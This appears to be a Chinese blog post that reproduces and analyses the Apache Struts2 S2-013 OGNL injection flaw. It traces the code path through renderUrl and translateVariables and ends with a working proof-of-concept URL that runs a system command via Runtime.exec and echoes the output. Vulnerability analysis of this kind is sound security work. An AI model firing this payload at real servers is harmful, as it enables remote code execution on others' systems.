S2-013的一次逐步复现分析

描述

https://cwiki.apache.org/confluence/display/WW/S2-013

struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如下值

  1. none - URL中包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数

当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

环境搭建

docker

漏洞分析

在这里进行预处理URL处理

这里的beforeRenderUrl会对我们的URI 进行解码

处理结束后回到处理URL的地方,这里renderUrl就是触发的关键函数了

这句话执行了我们的payload

继续跟进触发点,这里会遍历我们所有的参数 URI, 参数名和参数值村发到ActionMapping对象里面

buildUrl里面处理一直到buildParameterString

将ActionMapping对象取出来存放到Iterator对象然后进一步处理

在这个函数里面会对我们的Iterator的key-value进一步处理,也就是对我们的参数和参数名字惊醒处理

优先处理表达式的格式,也就是对ONGL表达式进行匹配

然后再这里的,和之前的Struts2漏洞一样,利用stack.findValue执行了命令

命令执行的代码

public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
        Object result = expression;
        char[] arr$ = openChars;
        int len$ = openChars.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            char open = arr$[i$];
            int loopCount = 1;
            int pos = 0;
            String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    int pos = false;
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }

                String var = expression.substring(start + 2, end);
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (StringUtils.isEmpty(left)) {
                        result = o;
                    } else {
                        result = left.concat(middle);
                    }

                    if (StringUtils.isNotEmpty(right)) {
                        result = result.toString().concat(right);
                    }

                    expression = left.concat(middle).concat(right);
                } else {
                    expression = left.concat(right);
                    result = expression;
                }

                pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1;
                pos = Math.max(pos, 1);
            }
        }

        XWorkConverter conv = (XWorkConverter)((Container)stack.getContext().get("com.opensymphony.xwork2.ActionContext.container")).getInstance(XWorkConverter.class);
        return conv.convertValue(stack.getContext(), result, asType);
    }

漏洞复现

poc

http://192.168.1.12:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D

参考文章

https://blog.csdn.net/Fly_hps/article/details/85034215

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值